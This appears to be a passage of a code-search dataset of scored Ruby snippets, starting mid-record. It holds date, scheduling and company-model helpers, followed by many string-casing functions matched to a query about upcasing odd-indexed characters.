result.append(next_date)\n occurrences += 1\n next_date += period.send period_type\n end\n\n result\n end", "title": "" }, { "docid": "2b69c1c657945d152692a359d46f5e2e", "score": "0.4775828", "text": "def display_date_divider(current_task, tasks, index)\n \"<div class='task-date-divider'>#{fmt_month_day_year(current_task.updated_at)}</div>\" if current_task.updated_at.to_date != tasks[index-1].updated_at.to_date\n end", "title": "" }, { "docid": "fe2abeb024e3ecbd1143c816fb544237", "score": "0.47735745", "text": "def next_instance\n event_instances.where('start_date >= ?', Time.zone.now).order('start_date ASC').first\n end", "title": "" }, { "docid": "bc9ea0263c4635d601995c7114cfb405", "score": "0.47712082", "text": "def next_scheduled_occurrence\n get_timestamp \"next\"\n end", "title": "" }, { "docid": "5958990218d43717a9732384ce5dd893", "score": "0.47671488", "text": "def current_company\n if employment = current_employment\n return employment.employer\n end\n nil\n end", "title": "" }, { "docid": "aac7053d97f7a3e64be5dbaa205e56fa", "score": "0.47637072", "text": "def job_start\n # Only start if it isn't running\n if (self.jobs_running == 0)\n # Try to add ir to the schedule\n return self.job_schedule_next\n else\n return false # If it's already running\n end\n end", "title": "" }, { "docid": "bbd5a96dac8d03aa6df324c1b0c44f6b", "score": "0.4762581", "text": "def emp_no\n date = Date.today.strftime('%Y%m%d')\n self.employee_number = date.to_s + '1' if Employee.first.nil?\n self.employee_number = date.to_s + \\\n Employee.last.id.next.to_s unless Employee.first.nil?\n end", "title": "" }, { "docid": "73342942cde34d4a9adcebc7b5bb9413", "score": "0.47591117", "text": "def next\n sprints = self.project.sprints\n index = Sprint::sprint_index(self.number, sprints)\n sprints[index+1] unless index.nil? or index == sprints.size\n end", "title": "" }, { "docid": "b2eb7a5bd140da3770b919d7f2bf3834", "score": "0.475682", "text": "def display_company_info\n \"##{id} | #{company_name}\"\n end", "title": "" }, { "docid": "93f04b639df58b12e781c0245cb10f2a", "score": "0.47567406", "text": "def next\n @next ||= Changeset.where([\"id > ? AND repository_id = ?\", id, repository_id]).order('id ASC').first\n end", "title": "" }, { "docid": "0de3fc0af60694140f00ec3b3ed9f5ec", "score": "0.4736412", "text": "def next_common\n @next ||= self.class.find(:first, :select => ['id'],:conditions => [\"id > ? and school_id = ?\", id, self.school_id], :order => 'id')\n @next ? @next.id : nil\n end", "title": "" }, { "docid": "cc2eca968f2d7690e72f4d6fdaa189ad", "score": "0.472821", "text": "def give_interval(work_experience)\n result = \"\"\n if work_experience.starting_date.nil? \n return \"...\"\n end\n \n result << work_experience.starting_date.strftime(\"%b %Y - \")\n if work_experience.ending_date.nil?\n result << \"Present\"\n else\n result << work_experience.ending_date.strftime(\"%b %Y\")\n end\n \n if ( not work_experience.ending_date.nil? ) && ( work_experience.starting_date > work_experience.ending_date)\n return \"...\"\n end\n \n return result\n end", "title": "" }, { "docid": "0f248ede3e6673b812164a9adbe30fe3", "score": "0.47190773", "text": "def next_match\n games = matches.where.not(status: \"Final\").order(:start_time)\n games.first\n end", "title": "" }, { "docid": "c7876e47d036d4565483ca298e7d8c75", "score": "0.47167227", "text": "def next\n raise \"Unable to build sequence. No Comic Defined For Page.\" if self.comic_id == nil\n pages = Page.find_all_by_comic_id_and_is_shown(self.comic.id, \"1\")\n sequence = pages.index(self.id)\n if sequence != nil\n pages[sequence]\n else\n nil\n end\n end", "title": "" }, { "docid": "bf774bf7df42bfc5f3994a128e98b8f0", "score": "0.47160402", "text": "def next_meetings\n self.clubs.map(&:next_meeting).compact\n end", "title": "" }, { "docid": "80f5de098c381a06189ceb8a7352c89a", "score": "0.47158572", "text": "def print_list\n TopYcCompanies::Company.all.each.with_index do |c, index|\n puts \"#{index+1}. #{c.name}\"\n end\n end", "title": "" }, { "docid": "bff1e7d0bf1562f2650c3ab333cc74e1", "score": "0.47157627", "text": "def next_date\n return @refdate.advance(@navigator => +1)\n end", "title": "" }, { "docid": "6836face9ff52bc29cc43bd9a7e375b6", "score": "0.4713143", "text": "def emp_no\n date = Date.today.strftime('%Y%m%d')\n self.employee_number = date.to_s + '1' if Employee.first.nil?\n self.employee_number = date.to_s + \\\n Employee.last.id.next.to_s unless Employee.first.nil?\n end", "title": "" }, { "docid": "d9e2b568340ff4b70c41855b08324085", "score": "0.47122526", "text": "def yearly_sibling\n Subscriptions::Plan.where(plan_type: plan_type, interval: 'year').first\n end", "title": "" }, { "docid": "d5506e8d5a9b140587f7222c6a5136f5", "score": "0.4703777", "text": "def show\n if current_admin\n @job_offers = @company.job_offers\n else\n @job_offers = @company.job_offers.active\n end\n @job_offers = @job_offers.paginate(page: params[:page]).order(created_at: :desc)\n end", "title": "" }, { "docid": "2c42759a2d2e8681c5fc30ff16ffb3d7", "score": "0.46924585", "text": "def sort_and_print_jobs_end_date(jobs, view)\n jobs.sort! { |one, two| year_first(one.end_date) <=> year_first(two.end_date) }\n jobs.each { |job| view.jobs_and_end_date(job) }\n end", "title": "" }, { "docid": "53ea7bbcadfb888b97707f25ce5bfa13", "score": "0.46903375", "text": "def generate_first_bill(penalty_id = nil)\n if self.last_pay <= MyDate.today\n first_autopay_bill = self.to_bill\n first_autopay_bill.deadline = self.last_pay\n first_autopay_bill.save\n first_autopay_bill.add_penalty(penalty_id) if penalty_id\n end\n end", "title": "" }, { "docid": "972d3c493bb91cf62f7194de61ae1d8d", "score": "0.4681355", "text": "def next() next_day end", "title": "" }, { "docid": "9809f32118c2ee144cef5e10e7e47e3e", "score": "0.46813196", "text": "def scrape_next_employee\n # gathers all the \"people also viwed\" profiles into a collection, selects a random profile, and navigates to it\n # triggers the gathering of info for that new profile\n\n if @scrapes < @scrapes_needed\n scrape_profile\n else\n @logger.debug \"scrape finished successfully\\n\\n\\n\\n\"\n end\n end", "title": "" }, { "docid": "cf1d63333afb5c46afb79c0106e67daf", "score": "0.46812668", "text": "def next\n self.class.where('published_at > ? AND status = ?', self.published_at, self.status).order(\"published_at ASC\").limit(1).first\n end", "title": "" }, { "docid": "cd2fd56aef66a29ef487a7e4d05e93bc", "score": "0.4679971", "text": "def next_day?; end", "title": "" }, { "docid": "cd2fd56aef66a29ef487a7e4d05e93bc", "score": "0.4679971", "text": "def next_day?; end", "title": "" }, { "docid": "cd2fd56aef66a29ef487a7e4d05e93bc", "score": "0.4679971", "text": "def next_day?; end", "title": "" }, { "docid": "cd2fd56aef66a29ef487a7e4d05e93bc", "score": "0.4679971", "text": "def next_day?; end", "title": "" }, { "docid": "5157c76ef4da89376a00e730567a6fa1", "score": "0.46758845", "text": "def gather_employee_info\n # if the employee has not already been recorded and their profile contains a link to their most recent employer, we gather and record all info for that employee and their employer\n # otherwise we just move to next employee without recording anything\n info = employee_info\n employer_link = @br.element(:class, \"pv-entity__secondary-title\")\n\n if !@archivist.person_already_recorded(info) && employer_link.exists?\n record_profile_info(info, employer_link)\n else\n @logger.info(\"#{@br.url} has already been scraped\")\n end\n\n sleep(3)\n @logger.debug(\"moving to next employee\\n\\n\")\n scrape_next_employee\n end", "title": "" }, { "docid": "e568fe52505f603d5c5c4615a338ea1b", "score": "0.4671436", "text": "def next_appointment\n self.appointments.first\n end", "title": "" }, { "docid": "3640e78738551ced3f6c496218afe036", "score": "0.46706095", "text": "def next_date_path\n date_path(@date + 1)\n end", "title": "" }, { "docid": "c6b3643cc70c78ebfe033b02c71589e6", "score": "0.4669794", "text": "def next_year\r\n \tcase self.year\r\n \twhen 0\r\n \t nil\r\n \twhen 1\r\n \t SecureStat.find(self.company.secure_new)\r\n \twhen 2\r\n \t SecureStat.find(self.company.secure_cy)\r\n \twhen 3\r\n \t SecureStat.find(self.company.secure_2y)\r\n \twhen 4\r\n \t SecureStat.find(self.company.secure_3y)\r\n \twhen 5\r\n \t SecureStat.find(self.company.secure_4y)\r\n \tend\r\n end", "title": "" }, { "docid": "c97119d6637fcc87cac4b174077d1152", "score": "0.46697113", "text": "def next_transaction\n return nil if end_date.past?\n\n dealing = self.dealings.future.first\n if dealing.nil?\n dealing = clone_next_transaction\n end\n \n dealing\n end", "title": "" }, { "docid": "ad2195c7395bfc75f691b6598941e4ce", "score": "0.4666196", "text": "def goto_next_component\n if @current_component != nil \n if @current_component == @first_component\n @current_component.on_leave\n if @second_component\n @current_component = @second_component\n @current_component.on_enter\n else\n return :UNHANDLED\n end\n else\n #@current_component = @first_component\n @current_component.on_leave\n return :UNHANDLED # try to get him out.\n end\n set_form_row\n else\n # this happens in one_tab_expand\n @current_component = @second_component if @first_component.nil?\n @current_component = @first_component if @second_component.nil?\n set_form_row\n end\n 0\n end", "title": "" }, { "docid": "a4361136b3c2f4960e96ed7e339f3374", "score": "0.46623382", "text": "def earliest_element\n @work.sort.first\n end", "title": "" }, { "docid": "78880a97feab416a4433ca9f16e7f072", "score": "0.4656372", "text": "def next_scheduled_event\n return nil if next_study_segment.blank? || contacts.empty?\n ScheduledEvent.new(:date => next_scheduled_event_date, :event => upcoming_events.first)\n end", "title": "" }, { "docid": "337870bf14ce69bd4c4c0e7619db212a", "score": "0.46562535", "text": "def get_first_meeting_name()\n meeting = meetings.sort_by_date(:asc).first\n meeting ? h.link_to( meeting.get_full_name, meeting_show_full_path( id: meeting.id, team_id: id ), { 'data-toggle' => 'tooltip', title: I18n.t('meeting.show_team_results_tooltip') + \"\\r\\n(#{ meeting.get_full_name })\" } ) : I18n.t('none')\n end", "title": "" }, { "docid": "d9c3e5c94077405b26b2674ae66414e3", "score": "0.46559292", "text": "def monthly_sibling\n Subscriptions::Plan.where(plan_type: plan_type, interval: 'month').first\n end", "title": "" }, { "docid": "3e5f90633f58104c27520ec5ceae5e25", "score": "0.4655859", "text": "def next_pday_start\n @next_pday_start ||= begin\n # Pour raccourcir le nom des variables\n pday = program_current_pday\n pday_start = program_current_pday_start\n rythme = program_rythme\n\n # Si l'auteur veut recevoir son mail à heure fixe et qu'il\n # est bien en rythme 5, il faut vérifier que l'heure de son\n # prochain envoi correspond bien à l'heure qu'il a choisi.\n # Dans le cas contraire, il faut modifier l'heure de son\n # prochain envoi. Noter que ça peut intervenir à n'importe\n # quelle heure.\n begin\n if fixed_time_mail\n if rythme == 5\n heure_choisie = heure_envoi_rapport\n jour_start = Time.at(pday_start)\n heure_start = jour_start.hour\n if heure_start != heure_choisie\n # L'heure choisie ne correspond pas à l'heure de\n # démarrage du jour-programme courant. On modifie\n # cette heure pour que ça corresponde. C'est-à-dire\n # qu'on prend le jour de démarrage en référence,\n # et qu'on règle le pday_start à l'heure choisie\n heure_good = Time.new(jour_start.year, jour_start.month, jour_start.day, heure_choisie, 0, 0)\n pday_start = heure_good.to_i\n Unan.table_programs.set(program_id, { current_pday_start: pday_start } )\n end\n else\n # Ça n'a pas de sens pour un rythme qui ne correspond\n # pas à : 1 jour-programme = 1 jour réel\n end\n end\n rescue Exception => e\n log \"Impossible de mettre l'heure d'envoi du rapport quotidien à l'heure choisie (#{heure_choisie})…\", e\n end\n\n # Calcul du début du prochain jour\n @first_try = true\n begin\n (pday_start + 1.day.to_f * (5.0 / rythme)).to_i\n rescue Exception => e\n debug e\n unless pday_start.instance_of?(Fixnum)\n raise \"pday_start devrait être un nombre, c'est un #{pday_start.class}\"\n end\n unless rythme.instance_of?(Fixnum)\n superlog \"# ERREUR avec rythme pour #{pseudo}. Égal à #{rythme.inspect}::#{rythme.class}. Je le mets à 5 \"\n rythme = 5\n end\n @first_try || raise(\"# Impossible de calculer le départ du prochain jour.\")\n @first_try = false\n retry\n end\n end\n end", "title": "" }, { "docid": "8883b5dcc27a728a8959d504f75c2b6b", "score": "0.46548322", "text": "def goto_next_component\n if @current_component != nil \n @current_component.on_leave\n if on_last_component?\n return :UNHANDLED\n end\n @current_index += 1\n @current_component = @components[@current_index] \n # is it visible\n #@current_index.between?(_first_column_print, _last_column_print)\n if @current_index > @_last_column_print\n # TODO need to check for exceeding\n @_first_column_print += 1\n @_last_column_print += 1\n @repaint_required = true\n end\n # shoot if this this put on a form with other widgets\n # we would never get out, should return nil -1 in handle key\n unless @current_component\n $log.debug \" CAME HERE unless @current_component setting to first\"\n raise \" CAME HERE unless @current_component setting to first\"\n @current_index = 0\n @current_component = @components[@current_index] \n end\n else\n # this happens in one_tab_expand\n #@current_component = @second_component if @first_component.nil?\n #@current_component = @first_component if @second_component.nil?\n # XXX not sure what to do here, will it come\n $log.debug \" CAME HERE in else clause MSP setting to first\"\n raise\" CAME HERE in else clause MSP setting to first\"\n @current_index = 0\n @current_component = @components[@current_index] \n end\n return set_form_row\n end", "title": "" }, { "docid": "4a87fa4a62352cec066b0fc5750a4f56", "score": "0.46541893", "text": "def next_book\n next_meeting ? next_meeting.book : nil\n end", "title": "" }, { "docid": "d057bca2ba3b0cc163fde1bbd34c2adb", "score": "0.46530908", "text": "def get_companies_information\n companies = Company.all.map do |company|\n projects = company.projects.map do |project|\n services = Service.where(project: project).reduce([]) do |serviceList, service| \n indexInServiceList = serviceList.find_index({ name: service.name })\n\n if indexInServiceList\n serviceList\n else\n serviceList.push({name: service.name, color: service.color })\n end\n end\n\n floors = project.floors.map do |floor| \n activities = floor.activities.map do |activity| \n {service_name: activity.service.name, duration: activity.work_duration} \n end\n\n {\n name: floor.name,\n activities: activities\n }\n end\n\n {\n projectName: project.name,\n services: services,\n floors: floors,\n createdAt: project.created_at\n }\n end\n\n {\n companyName: company.name,\n status: company.subscription_plan.status,\n projects: projects\n }\n end\nend", "title": "" }, { "docid": "4d6c5168db74d799036340e97e6f4da8", "score": "0.4653087", "text": "def next_page\n\t\tuser_session = session[:current_search]\n\t\tif (user_session[\"start\"] > user_session[\"total_results\"])\n\t\t\thead :no_content\t\t\n\t\telse\t\t\n\t\t\tindeed = Indeed.new(Rails.application.secrets.INDEED_PUBLISHER_KEY)\t\t\n\t\t\tnext_page_result = indeed.next_page_of_results(session[:current_search])\n\t\t\tsession[:current_search] = indeed.options\n\t\t\tThread.new do\n\t\t\t\tif (next_page_result.size != 0)\n\t\t\t\t\tparams[\"jobs\"] = next_page_result\n\t\t\t\t\tcreate\t\n\t\t\t\tend\n\t\t\tend\n\t\t\trender :json => next_page_result\n\t\tend\t\n\tend", "title": "" } ]
7f64f1740027ceade339a60adb0df195
create new string altered = "" loop through that array .upcase odd indexs and shovel into altered
[ { "docid": "4a5917bdc888e9d1d284a9e143223482", "score": "0.7060953", "text": "def change_string(string)\n split = string.split(//)\n index = 0\n altered = \"\"\n while index < split.length\n if index.odd?\n altered << split[index].upcase\n else\n altered << split[index]\n end\n index += 1\n end\n return altered\nend", "title": "" } ]
[ { "docid": "3091d40596567491f544fd5bf40b8248", "score": "0.75104946", "text": "def recapitalize(word,index_array)\n\t\t\tindex_array.each do |index|\n\t\t\t\tword[index].upcase!\n\t\t\tend\n\t\t\tword\n\t\tend", "title": "" }, { "docid": "5230bad87afb40281d4c263579891b5b", "score": "0.7417919", "text": "def rejoin_chars array\n\tarray.map! {|subarr| subarr.join.capitalize}\nend", "title": "" }, { "docid": "893566b8e12ca0c2006f5094bf5222d8", "score": "0.727976", "text": "def staggered_case(string)\n\n new_str = string.chars.each_with_index do |char, index|\n char.upcase! if index.even?\n char.downcase! if index.odd?\n end \n\n new_str.join\n\nend", "title": "" }, { "docid": "a2d5fabe8f4c9a75fce6769368dbbb14", "score": "0.71337724", "text": "def yeller(array)\n puts array.map { |char| char.upcase }.join\nend", "title": "" }, { "docid": "5839b1c5d633b8449810d9fb4dd756d7", "score": "0.7119968", "text": "def shift(array)\n\tarray.map! { |letter|\n\t\t$vowels.include?(letter) ? letter = next_vowel(letter) : letter = next_consonant(letter)\n\t}\n\tarray[0].upcase!\n\tarray.join\nend", "title": "" }, { "docid": "a0360f0f3f9e14862e2924b3c0227b1e", "score": "0.7098034", "text": "def staggered_case(string)\n string = string.downcase\n (0..string.size).step(2).to_a.each do |index|\n string[index] = string[index].upcase if string[index] != nil\n end\n puts string\nend", "title": "" }, { "docid": "59ac871a4b1bdd3487bf0cb157f6c259", "score": "0.7096", "text": "def alternate_captials(string)\n new_string = string.downcase\n index = 0;\n while index < string.length() - 1\n index += 1\n if index.odd?\n new_string[index] = new_string[index].upcase\n end\n end\n return new_string\nend", "title": "" }, { "docid": "2a3a1d1c4b7625a7db9dc6ced733dd1d", "score": "0.70896727", "text": "def sillytransform(word)\n indexes = []\n vowels = \"aeiouAEIOU\"\n new_word = word.each_char.map do |ele|\n if vowels.include?(ele)\n new_char = ele + \"b\" + ele \n else\n new_char = ele\n end\n\n end\n new_word.join(\"\")\nend", "title": "" }, { "docid": "4d8878f1ecbf6cb1a4c055d0587630e6", "score": "0.70842415", "text": "def letter_change(array)\n#Declare necessary arrays\n\tvowels = ['a','e','i','o','u']\n\tconsonants = ['b','c','d','f','g','h','j','k','l','m','n','p','q','r','s','t','v','w','x','y','z']\n\tindex = 0\n\twhile index < array.length\n\t\ts = array[index]\n\t\tif\tvowels.include?(s)\n\t\t\tarray[index] = next_vowel(array[index])\n\t\telsif consonants.include?(s)\n\t\t\tarray[index] = next_consonant(array[index])\n\t\tend\n\t\tindex += 1\n\tend\n\t# return array.join('')\n\talias_name = array.join('')\nend", "title": "" }, { "docid": "55cba2c8a0d7d177f146313f30a5817c", "score": "0.7053739", "text": "def staggered_case(string)\n string_array = string.chars\n new_string = []\n string_array.each_with_index do |element, index|\n if index.even?\n new_string << element.upcase\n elsif index.odd?\n new_string << element.downcase\n end\n end\n new_string.join\nend", "title": "" }, { "docid": "aa30ebae8cb4e39251201375c3c46fcb", "score": "0.7003762", "text": "def staggered_case(string)\n string = string.chars.delete(/[^a-z]/i)\n (0..string.size).step(2).to_a.each do |index|\n string[index] = string[index].upcase \n end\n puts string\nend", "title": "" }, { "docid": "6d706c066e213d9ab38efd11fb1f00b0", "score": "0.6964749", "text": "def upcase_array!(array_of_strings)\n\t# Iterate over the given array\n\tfor i in 0..array_of_strings.length-1 do\n\t\t# Change the string at index number i to be uppercase.\n\t\tarray_of_strings[i].upcase!\n\t\t\n\t\t# Remember that we're using the \"upcase!\" version which\n\t\t# changes the string in-place. If we didn't, we would have to do:\n\t\t#\n\t\t# array_of_strings[i] = array_of_strings[i].upcase\n\t\t# ^^ Replace the i'th with a new string from upcase ^^\n\tend\nend", "title": "" }, { "docid": "43de867665d5e328a9518b08f99427f4", "score": "0.6952988", "text": "def staggered_case(string)\n # array = string.chars\n # array.each_with_index do | char, index |\n # if index.even?\n # char.upcase!\n # else\n # char.downcase!\n # end\n # end\n # array.join\n array = string.chars.each_with_index { | char, index | index.even? ? char.upcase! : char.downcase! }.join\nend", "title": "" }, { "docid": "202e445125ff8d3eec489ce05c990bf2", "score": "0.6920484", "text": "def weirdcase(str)\n i = 0\n array = str.split(\"\")\n new_array = []\n \n while i < str.length\n if i.odd?\n new_array << array[i].upcase\n else\n new_array << array[i].downcase\n end \n i = i + 1 \n end\n return new_array.join\nend", "title": "" }, { "docid": "6df750ad58227137eaae8efbc9a9b45e", "score": "0.69107455", "text": "def staggered_case(str)\n working_array = str.chars\n working_array.each_with_index do |char, i|\n if i.even? && char =~ /[a-zA-Z]/\n char.upcase!\n elsif i.odd? && char =~ /[a-zA-Z]/\n char.downcase!\n else\n char\n end\n end\n\n working_array.join('')\nend", "title": "" }, { "docid": "e54cede6bc03dacf025733bfa0c3e816", "score": "0.68962634", "text": "def add_uppercase_to_array(string_to_array)\n string_to_array.map.with_index { |n, i| i.even? ? n.upcase : n.downcase }\nend", "title": "" }, { "docid": "6966408408b7f4bd0e268ec576199bf9", "score": "0.6887067", "text": "def staggered_case(str)\n str.chars.each_with_index.with_object('') do |(c, i), str_2|\n str_2 << c.upcase if i.even?\n str_2 << c.downcase if i.odd?\n end\nend", "title": "" }, { "docid": "1954aa0a7a767199cf3d813f9cb1df0a", "score": "0.6875349", "text": "def weirdcase(str)\n i = 0\n while i < str.length\n if i.odd?\n str[i] = str[i].upcase\n else\n str[i] = str[i].downcase\n end\n i += 1\n end\n\n return str\n\nend", "title": "" }, { "docid": "27fa98a006bce474655bce2d756c9942", "score": "0.6875303", "text": "def weirdcase(str)\n array = str.split\n array.map! do |word|\n idx = 0\n loop do\n word[idx] = word[idx].upcase\n idx += 2\n break if idx >= word.length\n end\n word\n end\n array.join(' ')\nend", "title": "" }, { "docid": "0ff0bbb70bb16483670f26a73045af0f", "score": "0.68729514", "text": "def weirdcase(str)\n\n new_str = ''\n\n str.chars.each_with_index do |letter, ind|\n\n if ind % 2 == 0\n new_str += letter.downcase\n else\n new_str += letter.upcase\n end\n\n end\n\n new_str\n\nend", "title": "" }, { "docid": "96b9108769a9962f864e61414faae42f", "score": "0.6871103", "text": "def weirdcase(str)\n array = str.chars\n array.each_index do |i|\n if (i+1).odd?\n array[i] = array[i].downcase\n else\n array[i] = array[i].upcase\n end\n end\n array.join\nend", "title": "" }, { "docid": "95af43df1ba3d68f8066be7056a6e1f4", "score": "0.68511105", "text": "def staggered_case(string)\n letter_array = string.chars\n letter_array.each_with_index do |item, index|\n index.even? || index == 0 ? letter_array[index] = item.upcase : letter_array[index] = item.downcase\n end.join\nend", "title": "" }, { "docid": "f51e0d6351cf4c9d15dde5ae329e92ca", "score": "0.68439907", "text": "def alternating_case(sentence)\n arr = sentence.split(\" \").each_with_index.map do |word, i| \n if (i % 2 == 0)\n word.upcase\n else\n word.downcase\n end\n end\n\n arr.join(\" \")\n\n \nend", "title": "" }, { "docid": "6bbeb4233473886e1f8f6debd390202d", "score": "0.6836047", "text": "def staggered_case_old(string)\n string.chars.map.with_index do |e, i|\n i.even? ? e.upcase : e.downcase\n end.join\nend", "title": "" }, { "docid": "954bc8a0387d4bb85681a75e00875ada", "score": "0.68306893", "text": "def alter_vowels_letters(name)\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n name = name.split('')\n new_name = name.map! do |letters|\n if vowels.include?(letters)\n vowels = vowels.rotate[vowels.index(letters)]\n else\n letters.next\n end\n end\n return new_name.join\nend", "title": "" }, { "docid": "d779999471c34aaf39864cc9c8710bae", "score": "0.6827673", "text": "def weirdcase(str)\n a = \"\"\n i = 0\n\n while i < str.length\n if i.odd?\n a << str[i].upcase\n else i.even?\n a << str[i].downcase\n end\n i = i + 1\nend\na\nend", "title": "" }, { "docid": "5eb204467982c56089f535bf06404f1f", "score": "0.6825801", "text": "def alternating_case(str)\n words = str.split\n\n new_word = words.map.with_index do |char, i|\n if i.even?\n char.upcase\n else\n char.downcase\n end \n end\n \n new_word.join(\" \")\nend", "title": "" }, { "docid": "896353006682ee7867bacaea9698b362", "score": "0.68245375", "text": "def alternating_case(str)\n arr = str.split.each_with_index do\n |word, index|\n if index % 2 == 0\n word.upcase!\n else\n word.downcase!\n end\n end\n \n arr.join(' ')\nend", "title": "" }, { "docid": "95e84e47aabf8167ff69a2e8ffe037be", "score": "0.68164897", "text": "def method_chain2(arr)\n arr.map{|x| x.upcase.chars}\n .map{|x| x.reverse.join}\n .map{|x| x.gsub(/[A-C]/, '')}\nend", "title": "" }, { "docid": "bfec8d6b934a5f3edcfe58261bfafc8b", "score": "0.68137354", "text": "def letter_swap(phrase)\n #set up vowel and consonant arrays\n vowels = 'aeiou'.chars\n consonants = 'bcdfghjklmnpqrstvwxyz'.chars\n counter = 0\n\n #convert string to array\n phrase = phrase.downcase.chars\n\n #Loop through each letter\n while counter < phrase.length\n letter = phrase[counter]\n\n #Deal with special cases 'z' and 'u'\n if letter == 'z'\n phrase[counter] = 'b'\n elsif letter == 'u'\n phrase[counter] = 'a'\n\n #Change all vowels to the next vowel in 'aeiou'\n elsif vowels.include?(letter)\n phrase[counter] = vowels[vowels.find_index(letter) + 1]\n\n #Change all consonants to the next consonant\n elsif consonants.include?(letter)\n phrase[counter] = consonants[consonants.find_index(letter) + 1]\n end\n counter += 1\n end\n\n #rejoin strings\n phrase.join\n\nend", "title": "" }, { "docid": "f3886368b61c367e9586b5cf7d2b3ea5", "score": "0.67782235", "text": "def staggered_case(str)\n arr = str.downcase.chars\n idx = 0\n until idx >= arr.length\n idx.even? ? arr[idx] = arr[idx].upcase : arr[idx]\n idx += 1\n end\n arr.join\nend", "title": "" }, { "docid": "ada728015d13cbada65af2589866013c", "score": "0.6768523", "text": "def modify_word(word)\narr = []\nword.each_char.with_index do |char, idx|\n vowels = \"aeiou\"\n if vowels.include?(char)\n arr << idx\n end \nend\n i = arr[0]\n final_word = []\n final_word << word[i..-1] + word[0...i]\n final_word << \"a\"\n final_word << \"y\"\n return final_word.join(\"\")\nend", "title": "" }, { "docid": "5b117a67fbf9cfd8cecff3e322053afa", "score": "0.6765304", "text": "def capitalize_loud(array)\n # Use an Enumerable to capitalize and add '!' to every element in the passed in array\n # Return a new array of the results\n array.map do |str|\n str.capitalize! + \"!\"\nend\nend", "title": "" }, { "docid": "d58b3939d1c91e97539e6f30ac06b2c5", "score": "0.6757998", "text": "def name_trans(name)\r\n\tname_array = name.downcase.split(' ').map! { |name| name.chars }\r\n\tname_array.each do |sub_arrays|\r\n\t\tsub_arrays.map! do |char|\r\n\t\t\tnext_vowel(char)\r\n\t\tend\r\n\t\tsub_arrays.map! do |char|\r\n\t\t\tnext_consonant(char)\r\n\t\tend\r\n\tend\r\n\tswapped_names = name_array.reverse!\r\n\tjoined_names = swapped_names[0].join + ' ' + swapped_names[1].join\r\nend", "title": "" }, { "docid": "6aa34fad141010329fdc6e5f59e3b438", "score": "0.6752237", "text": "def iterative_upcase(str)\r\n str.chars.inject(\"\") do |upcase_str, char|\r\n upcased_str << char.upcase\r\n end\r\nend", "title": "" }, { "docid": "aed37584809dfee44181b4e2ae509de1", "score": "0.6748652", "text": "def swapcase(str)\n working_array = str.chars\n working_array.each do |char|\n if char.downcase == char\n char.upcase!\n elsif char.upcase == char\n char.downcase!\n else\n char\n end\n end\n\n working_array.join('')\nend", "title": "" }, { "docid": "179f788b8484a346f0d96e843c7963c6", "score": "0.6740738", "text": "def reverberate(sentence)\n vowels = \"aeiou\"\n words = sentence.split\n new_words = \"\"\n (words.map do |word|\n if word.length < 3\n word\n else\n if vowels.include?(word[-1].downcase)\n if word.capitalize == word\n word = word * 2\n word.capitalize\n else\n word = word * 2\n end\n else\n if word.capitalize == word\n non_vowel_begin(word).capitalize\n else\n non_vowel_begin(word)\n end\n end\n end\n end).join(\" \")\nend", "title": "" }, { "docid": "e6c356088713a0514276188784344e9c", "score": "0.6738573", "text": "def vowel_changer(origional_name)\n origional_name_array = origional_name.downcase.chars\n vowels = %w{a e i o u}\n origional_name_array.map! do |char|\n if char == \"u\"\n char = \"a\"\n elsif vowels.include?(char)\n change_vowel_index = vowels.index(char) + 1\n vowel_changed = vowels[change_vowel_index]\n else\n char\n end\n end\n origional_name_array.join('')\n\nend", "title": "" }, { "docid": "be1ab001774e8a8a58aba499eaa32816", "score": "0.6738316", "text": "def capitalize(s,ind)\n for i in ind\n if i < s.size\n s[i] = s[i].upcase\n end\n end\n s\nend", "title": "" }, { "docid": "c586e70b328c17a588ec4eea4e7becbe", "score": "0.6736774", "text": "def staggered_case(str)\n\tnew_string = str.chars.map.with_index do |word, index|\n\tif index.even?\n\t\tword.upcase\n\t\telse\n\t\tword.downcase\n\t\tend\t\n\tend\n\n\tnew_string.join\nend", "title": "" }, { "docid": "dcf45b5bc8d4c394d750a224db7a52a6", "score": "0.67272305", "text": "def change_me(str)\n str_array = str.split\n str_array.each { |word| word.upcase! if word.reverse == word }\n return str_array.join(' ')\nend", "title": "" }, { "docid": "160092802f6b520a712a0480f86df8f0", "score": "0.67260814", "text": "def capitalize_words(string)\n words_array = string.split(\" \")\n \n i = 0\n while i < words_array.length\n word = words_array[i].split(\"\")\n \n idx = 0 \n \n while idx <= word.length\n if idx == 0 \n word[idx] = word[idx].to_s.upcase\n \n end\n \n idx += 1\n \n end\n words_array[i] = word.join\n #print(word.join)\n i += 1\n end\n #print(words_array)\n return(words_array.join(\" \"))\n \nend", "title": "" }, { "docid": "13881129575b1cdf7fca9ee614fc9cfb", "score": "0.6725519", "text": "def name_reverse (name)\nspy_name = name.split(' ')\n\nnew_name = spy_name.reverse.join(' ')\nletters = new_name.downcase.split('')\n\n letters.map! do |letter|\n letters.join\n letter.tr('aeiou', 'eioua')\n end\n\n letters.map! do |letter|\n letters.join.class\n letter.tr('bcdfghjklmnpqrstvwxyz', ' cdfghjklmnpqrstvwxyzb')\n end\n\nletters.join\n\nend", "title": "" }, { "docid": "53a12204f27b75f6ae52a30b37ad40e9", "score": "0.672124", "text": "def weirdcase(str)\n new_str = ''\n arr = str.split('')\n arr.each_with_index do |el, idx|\n if idx.odd?\n new_str << el.upcase\n else\n new_str << el.downcase\n end\n end\n new_str\nend", "title": "" }, { "docid": "9b8a13b656ce424e757cfc2b86a3f033", "score": "0.67208713", "text": "def swap_case(name) # converts string to array, capitalize each index, and return reversed string\n array_name = name.split(' ')\n array_name.each do |idx|\n idx.capitalize!\n end\n array_name.reverse.join(' ')\nend", "title": "" }, { "docid": "475087cb1fc5996760fda3ea27462fdc", "score": "0.6710952", "text": "def weirdcase(string)\n string = string.split(\" \")\n \n string.each do |word|\n word.chars.each_with_index do |letter, index| \n if index % 2 == 0\n word[index] = word[index].upcase\n end\n end\n end\n string.join(\" \")\nend", "title": "" }, { "docid": "8bc5da94f7f5352be312e0779e6e2c9e", "score": "0.67063785", "text": "def flip_name(name)\n new_name = name.downcase.split(\" \")\n#debugging new_name = [\"forget\", \"erica\"]\n first_name = \"\"\n i = 0\n while i < new_name[0].length\n if \"aeiou\".include? new_name[0][i]\n first_name = first_name + next_vowel(new_name[0][i])\n i += 1\n else\n first_name = first_name + next_consonant(new_name[0][i])\n i += 1\n end\n end\n #debugging\n #p first_name\n\n second_name = \"\"\n l = 0\n while l < new_name[1].length\n if \"aeiou\".include? new_name[1][l]\n second_name = second_name + next_vowel(new_name[1][l])\n l += 1\n else\n second_name = second_name + 